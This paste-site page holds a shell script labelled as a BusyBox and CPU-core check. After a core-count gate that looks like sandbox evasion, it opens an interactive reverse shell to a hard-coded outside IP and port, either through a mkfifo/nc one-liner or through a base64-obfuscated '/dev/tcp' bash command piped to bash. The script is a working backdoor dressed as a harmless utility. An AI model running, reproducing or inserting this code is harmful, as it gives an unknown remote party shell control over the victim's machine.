Not a member of GistPad yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- # Enhanced BusyBox detection + CPU core check script
- # Executes Command2 for BusyBox with >3 cores, Command1 for standard Linux with >3 cores
- detect_busybox() {
- # Method 1: Check if shell executable is busybox via /proc
- if [ -r "/proc/$$/exe" ]; then
- exe=$(readlink "/proc/$$/exe" 2>/dev/null)
- case "$exe" in
- */busybox*)
- return 0
- ;;
- esac
- fi
- # Method 2: Check if common binaries are symlinks to busybox
- if [ -h /bin/ls ] && [ -r /bin/ls ]; then
- ls_target=$(readlink /bin/ls 2>/dev/null)
- case "$ls_target" in
- *busybox*)
- return 0
- ;;
- esac
- fi
- # Method 3: Check ls command help output
- if ls --help 2>&1 | grep -q "BusyBox"; then
- return 0
- fi
- # Method 4: Check ps process list
- if command -v ps >/dev/null 2>&1; then
- if ps 2>/dev/null | grep -q busybox; then
- return 0
- fi
- fi
- return 1
- }
- get_cpu_cores() {
- # Method 1: Use nproc (most common on Linux)
- if command -v nproc >/dev/null 2>&1; then
- nproc --all 2>/dev/null && return 0
- fi
- # Method 2: Use getconf (POSIX standard, works on most Unix)
- if command -v getconf >/dev/null 2>&1; then
- getconf _NPROCESSORS_ONLN 2>/dev/null && return 0
- fi
- # Method 3: Use sysctl (BSD, macOS)
- if command -v sysctl >/dev/null 2>&1; then
- sysctl -n hw.ncpu 2>/dev/null && return 0
- fi
- # Method 4: Parse /proc/cpuinfo (Linux fallback)
- if [ -r /proc/cpuinfo ]; then
- grep -c "^processor" /proc/cpuinfo 2>/dev/null && return 0
- fi
- # Method 5: Last resort - assume 1 core
- echo 1
- }
- check_cpu_requirement() {
- cores=$(get_cpu_cores)
- # Ensure cores is a valid number
- if ! echo "$cores" | grep -qE '^[0-9]+$'; then
- cores=1
- fi
- if [ "$cores" -gt 3 ]; then
- return 0 # Meets requirement (>3 cores)
- else
- return 1 # Does not meet requirement
- fi
- }
- # Main execution logic
- if ! check_cpu_requirement; then
- echo "Insufficient CPU cores detected. Minimum 4 cores required. Exiting."
- exit 1
- fi
- cores=$(get_cpu_cores)
- echo "Detected $cores CPU cores - requirement met"
- # Main execution logic
- if detect_busybox; then
- echo "BusyBox detected - executing Command2"
- rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 13.52.56.206 4499 > /tmp/f
- else
- echo "Standard Linux detected - executing Command1"
- #dev:4499
- echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMy41Mi41Ni4yMDYvNDQ5OSAwPiYxCg==' | base64 --decode | bash
- fi
RAW Paste Data
Copied
